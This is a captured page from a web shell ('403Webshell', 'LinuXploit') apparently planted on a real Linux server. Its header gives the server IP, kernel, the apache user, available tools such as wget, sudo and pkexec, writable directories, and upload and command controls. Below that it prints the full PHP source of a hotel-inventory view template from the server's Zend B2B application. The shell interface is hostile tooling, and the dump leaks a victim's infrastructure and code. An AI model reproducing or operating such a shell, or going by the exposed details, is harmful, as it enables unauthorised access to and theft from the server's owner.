403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/inventoryolddesign.phtml
<?php
//echo '<pre>';print_r(!array_filter($this->searchArr));echo '</pre>';die;
$arrProprtyType = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getProprtyType();
?>
<!--Page main section start-->
<section id="min-wrapper" class="active">
    <div id="main-content">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12">
                    <!--Top header start-->

                    <!--Top breadcrumb start -->
                    <ol class="breadcrumb">
                        <li><a href="#"><i class="fa fa-home"></i></a></li>
                        <li class="">Accommodation</li>
                        <li class="">Inventory Manage</li>
                        <li class="active">Hotel Rate List</li>
                    </ol>
                    <!--Top breadcrumb start -->
                </div>

                <!--for display message div-->
                <?php if (count($this->messages)) { ?>
                    <div class="col-md-12" id="message_hotel_div">
                        <div class="alert alert-success">
                            <button aria-hidden="true" id="hideHotelMessage" class="close" type="button">×</button>
                            <?php foreach ($this->messages as $message) { ?>
                                <span id="success-message-box"><?php echo $this->escape($message); ?></span>
                            <?php } ?>
                        </div>
                    </div>
                <?php } ?>

            </div>

            <script type="text/javascript">
                $("#hideHotelMessage").click(function() {
                    $("#message_hotel_div").hide();
                });
            </script>

            <!-- Main Content Element  Start-->
            <div class="row">


                <div class="col-md-12">

                    <?php //echo "<pre>"; print_r($this->searchArr); 
                    ?>

                    <div class="panel panel-primary">
                        <div class="panel-heading minus">
                            <h3 class="panel-title" onclick="$('.minus').trigger('click')"><i class="fa fa-filter"></i> Filter By </h3>
                            <ul class="panel-control">
                                <li><a class="minus active" href="javascript:void(0)"><i class="fa fa-angle-down large"></i></a></li>
                            </ul>
                        </div>
                        <div class="panel-body" style="<?php echo (empty(array_filter($this->searchArr))) ? 'display:none;' : '';?>">
                            <form name="search" id="search" class="ls_form" role="form" method="post" action="<?php echo $this->baseUrl('accommodation/inventory'); ?>">
                                <div class="row">
                                    <div class="col-md-4">
                                        <div class="form-group DestinationIdDropdown active">
                                            <label>Destination</label>
                                            <select id="DestinationId" name="DestinationId" class="demo-default select-country" placeholder="Select Destination" onchange="getSearchInventoryHotel(this.value);">
                                                <option value="">Select Destination </option>
                                                <?php foreach ($this->cityList as $city) { ?>
                                                    <option value="<?php echo $city['CityId']; ?>" <?php if (isset($this->searchArr['DestinationId']) && ($city['CityId'] == $this->searchArr['DestinationId'])) {
                                                                                                        echo "Selected";
                                                                                                    } ?>><?php echo $city['Title']; ?></option>
                                                <?php } ?>
                                            </select>
                                        </div>
                                    </div>

                                    <div class="col-md-4">
                                        <div class="form-group hotelIdDropdown active">
                                            <label>Hotel Name</label> 
                                            <div id="select_hotel">
                                                <select id="hotelId" name="hotelId" class="demo-default select-country" placeholder="Select Hotel">
                                                    <option value="">Select Hotel </option>
                                                    <?php foreach ($this->inventoryHotelList as $inventory_hotel) { ?>
                                                        <option value="<?php echo $inventory_hotel['hotelId']; ?>" <?php if (isset($this->searchArr['hotelId']) && ($inventory_hotel['hotelId'] == $this->searchArr['hotelId'])) {
                                                                                                                        echo "Selected";
                                                                                                                    } ?>><?php echo $inventory_hotel['Title']; ?></option>
                                                    <?php } ?>
                                                </select>
                                            </div>
                                        </div>
                                    </div>



                                    <?php
                                    $arrStarRatings = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getStarRatings();
                                    ?>
                                    <div class="col-md-4">
                                        <div class="form-group ratingDropdown active">
                                            <label>Star Rating</label>
                                            <select id="rating" name="rating" class="demo-default select-country" placeholder="Select">
                                                <option value="">Select Star </option>
                                                <?php
                                                if (!empty($arrStarRatings) ) {
                                                    // while (list($key, $value) = each($arrStarRatings)) {
                                                        foreach($arrStarRatings as $key => $value) {
                                                ?>
                                                        <option value="<?php echo $key; ?>" <?php if ((isset($this->searchArr['rating']) && ($key == $this->searchArr['rating']))) {
                                                                                                echo "Selected";
                                                                                            } ?>><?php echo $value; ?></option>
                                                <?php
                                                    }
                                                }
                                                ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <div class="row">
                                    <div class="col-md-3">
                                        <div class="input-group ls-group-input form-group fromgroup_height active">
                                            <label><strong>From</strong></label>
                                            
                                                <input name="dateFrom" class="form-control datePickerOnly valid" id="todofromdate" placeholder="yyyy-mm-dd" value="<?php echo isset($this->searchArr['dateFrom']) ? $this->searchArr['dateFrom'] : ''; ?>" type="text" />
                                                <span class="input-group-addon"><i class="fa fa-calendar"></i></span>
                                            
                                        </div>
                                    </div>
                                    <div class="col-md-3">
                                        <div class="input-group ls-group-input form-group fromgroup_height active">
                                            <label><strong>To</strong></label>
                                            
                                                <input name="dateTo" class="form-control datePickerOnly valid" id="todotodate" placeholder="yyyy-mm-dd" value="<?php echo isset($this->searchArr['dateTo']) ? $this->searchArr['dateTo'] : ''; ?>" type="text" />
                                                <span class="input-group-addon"><i class="fa fa-calendar"></i></span>
                                            
                                        </div>
                                    </div>
                                </div>



                                <div class="col-md-12">
                                    <div class="form-group form-group1 flexipadding text-right">
                                        <button type="button" class="btn btn-primarygray" onclick="window.location.href = '<?php echo $this->baseUrl('accommodation/inventory'); ?>'">Reset</button>
                                        <button type="submit" class="btn btn-primary"><i class="fa fa-search"></i> Filter</button>
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>



                <div class="col-md-12">
                    <div class="leadeBorder2">

                        <div class="panel-body">
                            <div class="form-group form-group1 mobile_scrolling text-right query_listing_bg_margin_bottom_15">
                                <!--<a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Rate Expired (10)</a>
                              <a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left; margin-left:5px;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Promotion (20)</a>-->
                                <a href="<?php echo $this->baseUrl('accommodation/inventory-calendar'); ?>" class="btn btn-danger btn-sm pull-left"><i class="fa fa-fw fa-eye"></i>View Inventory</a>
                                <a href="<?php echo $this->baseUrl('accommodation/manage'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-fw fa-eye"></i> My Hotels</a>
                                <a href="<?php echo $this->baseUrl('accommodation/add-hotels'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-fw fa-plus"></i> Add Hotel</a>
                                <?php if($this->intLoggedinUserAgencySysId == '112339'){ ?>
                                    <a href="<?php echo $this->baseUrl('accommodation/add-villas'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-fw fa-plus"></i> Add Villa</a>
                                <?php } ?>
                                <!--<a href="<?php echo $this->baseUrl('accommodation/inventory'); ?>" class="btn btn-warning btn-sm"><i class="fa fa-fw fa-arrows"></i> Hotel Rates List</a>-->
                                <!--<a href="<?php // echo $this->baseUrl('accommodation/rate-card'); ?>" class="btn btn-warning btn-sm"><i class="fa fa-fw fa-plus"></i> Add Hotel Rates</a>-->
                            </div>

                            <div class="panel-body table-responsive no-padding">

                                <table class="table tablestyle table-bottomless">
                                    <thead>
                                        <tr class="alert alert-graylight">
                                            <th class="small smallbold">Hotel Name</th>
                                            <th class="small smallbold">Country</th>
                                            <th class="small smallbold">City</th>
                                            <th class="small smallbold">Property Type</th>
                                            <th class="small smallbold">Hotel Source</th>
                                            <th class="small smallbold">From Date</th>
                                            <th class="small smallbold">To Date</th>
                                            <th class="small smallbold">Room/Meal Type/Booking Type</th>
                                            <th class="small smallbold">Supplier </th>
                                            <th class="small smallbold">Last Update </th>
                                            <th class="small smallbold" title="Display on website" style="display:none;"> DOW </th>
                                            <th class="small smallbold">Action</th>
                                    
                                        </tr>
                                    </thead>

                                    <tbody>
                                        <?php
                                        /*  echo '<pre>';
                                        print_r($this->paginator);
                                        die; */
                                        if (!empty($this->paginator) ) {
                                            foreach ($this->paginator as $val) {
                                                // echo "<pre>"; print_r($val);
                                                 if ($val['InvIsActive'] == 1 && $this->IsB2CSite == 1 && ($val['ToDate'] >= date('Y-m-d'))) {
                                                $dow = '';
                                            } else {
                                                $dow = 'disabled="disabled"';
                                            }
                                                
                                                $ICSourceSysId = in_array($val['ICSourceSysId'], array(3, 4)) ? "API" : "Internal";
                                        ?>
                                                <tr class="hotelname_tr_<?= $val['hotelId'].'_'.trim($val['XRateSessionKey']);?>" >
                                                    <td >
                                                        <?php echo trim($val['hotelname']); ?> (<?php echo round($val['Stars'])>0 ? round($val['Stars']).'*' : '' ; ?>)
                                                        <?php if ($val['ToDate'] <= date('Y-m-d')) { ?> <br><span style="color:red;">Rate Expired</span> <?php } ?>
                                                    </td>
                                                    <td><?= $val['country_title'] ?></td>
                                                    <td><?= $val['City_title'] ?></td>
                                                    <td><?php echo !empty($val['PropertyType']) ? $arrProprtyType[$val['PropertyType']] : ''; ?>
                                                    <td><?= $ICSourceSysId ?></td>
                                                    <td nowrap><?= date('d-M-y', strtotime($val['FromDate'])) ?> </td>
                                                    <td nowrap><?= date('d-M-y', strtotime($val['ToDate'])) ?></td>
                                                    <td>
                                                        <?php $EconomyType = array();
                                                        $econoMealT = array();
//                                                        echo "<pre>";print_r($val['RoomArray']);die;
                                                        foreach ($val['RoomArray'] as $key => $value) {

                                                            $EconomyType[] = $key;
                                                            $roomtype = $value['EconomyType'];
                                                            $MealPlanType = array();
                                                            foreach ($value['RoomType'] as $roomVal) {
                                                                $MealPlanType[] = $roomVal;
                                                            }

                                                            //$MealPlanType = array($value['RoomType']);
                                                            $MealPlanTypeId = array();
                                                            $econoMealT[] = implode(',', $MealPlanTypeId);
                                                            $BookingType = ($value['BookingType'] == 1) ? 'Instant' : 'On Request';
                                                            echo $roomtype . ' - ' . implode(',', $MealPlanType).' ('.$BookingType.')' . '<br>';
                                                        }
                                                        ?>
                                                        <?php
                                                        $finalMealPlanim = implode(',', $econoMealT);
                                                        $finalMealPlan = implode(',', array_unique(explode(',', $finalMealPlanim)));
                                                        $finalEconoType = implode(',', $EconomyType);
                                                        //echo $val['XRefItemSysId'];
                                                        ?>

                                                    </td>
                                                    <td>
                                                        <a href="javascript:void(0);" data-toggle="modal" data-target="#myModactpopup" title="View Supplier Details" onclick="GetSupplierInfo('<?php echo $val['SupplierSysId']; ?>');"><?php echo $val['SupplierName']; ?></a>
                                                    </td>
                                                    <td><?= date('d-M-y h:i:s', strtotime($val['CreateDate']['date'])) ?></td>
                                                    <td style="display:none;">
                                                        <label class="checkbox_popup" id="IsWebsite" title="Is Activate"
                                                            style="">
                                                            <input action="content" <?= $dow ?>
                                                                   onclick="IsWebsite(<?php echo $val['hotelId'] ?>)"
                                                                id="IsWebsite_<?php echo $val['hotelId'] ?>"
                                                                <?php echo isset($val['IsWebsite']) && $val['IsWebsite'] == 1 ? 'checked="checked"' : '' ?>
                                                                name="IsWebsite" value="1" class="" type="checkbox">
                                                            <span class="checkmark"></span>

                                                        </label>
                                                        <span class="loader<?php echo $val['AccomSysId'] ?>"></span>
                                                    </td>
                                                    <td nowrap>
                                                        <a class="view_text1 tooltipLink" href="<?php echo $this->baseUrl('accommodation/rate-card/id'); ?>/<?php echo !empty($val['hotelId']) ? $val['hotelId'] : ''; ?>/SessionKey/<?php echo !empty($val['XRateSessionKey']) ? trim($val['XRateSessionKey']) : ''; ?>" title="Add new rate"><i class="fa fa-money" aria-hidden="true"></i></a>
                                                        <a class="view_text1 tooltipLink" onclick="NewRedirect('<?= $val['hotelId'] ?>','<?= $val['ContSysId'] ?>','<?= $val['SupplierSysId'] ?>','<?= date('d-m-Y', strtotime($val['FromDate'])) ?>')" href="javascript:void(0);" title="View and update rate"><i class="fa fa-tasks" aria-hidden="true"></i></a>
                                                        <a class="view_text1 tooltipLink" onclick="deactivateHotel('<?= $val['hotelId'] ?>','<?= $val['SupplierSysId'] ?>', '<?php echo $val['InvIsActive']; ?>','<?php echo !empty($val['XRateSessionKey']) ? trim($val['XRateSessionKey']) : ''; ?>')" href="javascript:void(0);" title="<?php echo isset($val['InvIsActive']) && $val['InvIsActive'] == 1 ? 'Deactivate' : 'activate' ?>"><i class="fa fa-<?php echo isset($val['InvIsActive']) && $val['InvIsActive'] == 1 ? 'stop' : 'play' ?>" aria-hidden="true"></i></a>
                                                        <a href="javascript://" onclick="deleteHotelRates('<?= $val['hotelId'] ?>','<?= $val['SupplierSysId'] ?>','<?php echo !empty($val['XRateSessionKey']) ? trim($val['XRateSessionKey']) : ''; ?>')" class="view_text1 delete_margin_left tooltipLink" title="Delete Rates"> <i class="fa fa-minus-circle"></i></a>
                                                    </td>
                                                </tr>
                                        <?php }
                                        } else {
                                            echo '<tr  class="alert text-center"><td colspan="11">No Record Found!</td></tr>';
                                        } ?>
                                    </tbody>
                                </table>



                            </div>
                            <!--Table Wrapper Finish-->


                            <div class="panel-box clearfix">
                                <?php if (!empty($this->paginators) ) { ?>
                                    <?php
                                    echo $this->paginationControl($this->paginators, 'Sliding', 'hotel_inventory_pagination.phtml', array(
                                        'DestinationId' => @$this->searchArr['DestinationId'],
                                        'hotelId' => @$this->searchArr['hotelId'],
                                        'supplierId' => @$this->searchArr['supplierId'],
                                        'rating' => @$this->searchArr['rating']
                                    ));
                                    ?>
                                <?php } ?>
                            </div>






                        </div>
                    </div>
                </div>

            </div>
            <div class="modal fade" id="myModactpopup" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
            </div>
            <!-- Main Content Element  End-->
        </div>
    </div>
    <?php
    $strToDates = date("d-m-Y", strtotime("+6 day", strtotime(date("Y/m/d"))));
    ?>
    <form method="post" id="NewRedirect" target="_blank" action="<?php echo $this->baseUrl('accommodation/inventorynew'); ?>">
        <input type="hidden" name="ContId" value="" id="CountryId">
        <input type="hidden" name="hotel_id" value="" id="hotel_ids">
        <input type="hidden" name="SupplierSysId" value="" id="SupplierSysIds">
        <input type="hidden" name="fromdate" value="<?= date("d-m-Y") ?>" id="from_date">
        <input type="hidden" name="todate" value="<?= $strToDates ?>" id="to_date">
        <input type="hidden" name="ratetype" value="2" id="ratetype">
        <input type="hidden" name="posteddata">
    </form>
    <?php echo $this->render('copyrightfooter.phtml'); ?>
</section>
<!--Page main section end -->
<?php include_once 'application/views/scripts/newfooter.phtml'; ?>
<script type="text/javascript" src="<?php echo $this->baseUrl('public/assets/js/jquery.validate.min.js'); ?>"></script>
<script src="<?php echo $this->baseUrl('public/js/hotel/newinventory.js'); ?>"></script>

<script type="text/javascript">
    function GetSupplierInfo(suppliersysID) {
        $.ajax({
            url: '/package/supplierinfo/',
            data: {
                suppliersysID: suppliersysID
            },
            type: 'POST',
            dataType: 'html',
            error: function() {},
            beforeSend: function() {
                var image = "<div class= 'col-md-12' style='text-align: center; top: 150px;'><img id='imgId' src='<?php echo $this->baseUrl('public/images/load3.gif'); ?>'></div>";
                $("#myModactpopup").html(image);
            },
            success: function(response) {
                $("#myModactpopup").show();
                $("#myModactpopup").html(response);

                //alert(response);
            }
        });
    }

    function closepopup() {
        $("#myModactpopup").hide();
    }
    $('#todofromdate').datetimepicker({
        timepicker: false,
        datepicker: true,

        mask: true,
        formatDate: 'Y-m-d',
        format: 'Y-m-d',
        minDate: false,
        //maxDate: ($("#todotodate").val() != '' && $('#todofromdate').val() != '____-__-__') ? $("#todotodate").val() : false,
        onShow: function(ct) {
            this.setOptions({
                //maxDate: ($("#todotodate").val() != '' && $('#todotodate').val() != '____-__-__') ? $("#todotodate").val() : false,
            });
        },
        onChangeDateTime: function (d) {
            $("#todotodate").val($('#todofromdate').val());
        },

    })
    $('#todotodate').datetimepicker({
        timepicker: false,
        datepicker: true,

        mask: true,
        formatDate: 'Y-m-d',
        format: 'Y-m-d',
        minDate: ($("#todofromdate").val() != '' && $('#todofromdate').val() != '____-__-__') ? $("#todofromdate").val() : false,
        onShow: function(ct) {
            this.setOptions({
                minDate: ($("#todofromdate").val() != '' && $('#todofromdate').val() != '____-__-__') ? $("#todofromdate").val() : false,
            });
        }

    })
    function IsWebsite(a) {
    if ($('#IsWebsite_' + a).prop("checked") === true) {
        var values = 1;
        //$('#rate_'+a).addClass("hide");
    } else if ($('#IsWebsite_' + a).prop("checked") === false) {
        values = 0;
        //$('#rate_'+a).removeClass("hide");
    }
    //alert(values); return false;
    $.ajax({
        url: '<?php echo $this->baseUrl('/accommodation/iswebsite') ?>',
        data: {
            hotel_id: a,
            val: values
        },
        type: 'POST',
        dataType: 'json',
        beforeSend: function() {
            var image =
                "<img id='imgId' src='<?php echo $this->baseUrl('public/images/load1.gif'); ?>' style='width: 18px;'>";
            $(".loader" + a).html(image);
        },
        success: function(result) {
            if (result.successs) {
                $(".loader" + a).hide();
                alert(result.message);
            } else {
                $(".loader" + a).hide();
                alert(result.message);
            }
        },
        error: function(result) {
            $(".loader" + a).hide();
            alert('Is website activation error!!');
        }
    });
}
function getSearchInventoryHotel(cityId) {
    if (cityId !== '0') {
        $.ajax({
            url: '<?php echo $this->baseUrl('/hotel/get-search-inventory-hotel') ?>',
            data: {
                cityId: cityId
            },
            type: 'POST',
            dataType: 'html',
            beforeSend: function() {
                //$("#select_hotel").empty();
            },
            success: function(response) {
                $("#select_hotel").html(response);
            }
        });
    }
}

function deactivateHotel(a,b,c,d) {
    var IsWebsite = 0;
    if($('#IsWebsite_' + a).prop("checked") === true){
        IsWebsite = 1;
    }
    $.ajax({
        url: '<?php echo $this->baseUrl('/accommodation/activate-inventory-supplier-wise') ?>',
        data: {
            a: a,
            b: b,
            c: c,
            d: d,
            IsWebsite: IsWebsite,
        },
        type: 'POST',
        dataType: 'json',
        success: function(result) {
            alert(result.message);
            location.reload();
        },
        error: function(result) {
            $(".loader" + a).hide();
            alert('Is website activation error!!');
        }
    });
}
function deleteHotelRates(a,b,c) {
    var IsWebsite = 0;
    if($('#IsWebsite_' + a).prop("checked") === true){
        IsWebsite = 1;
    }
    $.ajax({
        url: '<?php echo $this->baseUrl('/accommodation/delete-inventory-supplier-wise') ?>',
        data: {
            a: a,
            b: b,
            c: c,
            IsWebsite: IsWebsite,
        },
        type: 'POST',
        dataType: 'json',
        success: function(result) {
            alert(result.message);
            $('.hotelname_tr_'+a+'_'+c).hide();
        },
        error: function(result) {
            $(".loader" + a).hide();
            alert('Is website activation error!!');
        }
    });
}

</script>

Youez - 2016 - github.com/yon3zu
LinuXploit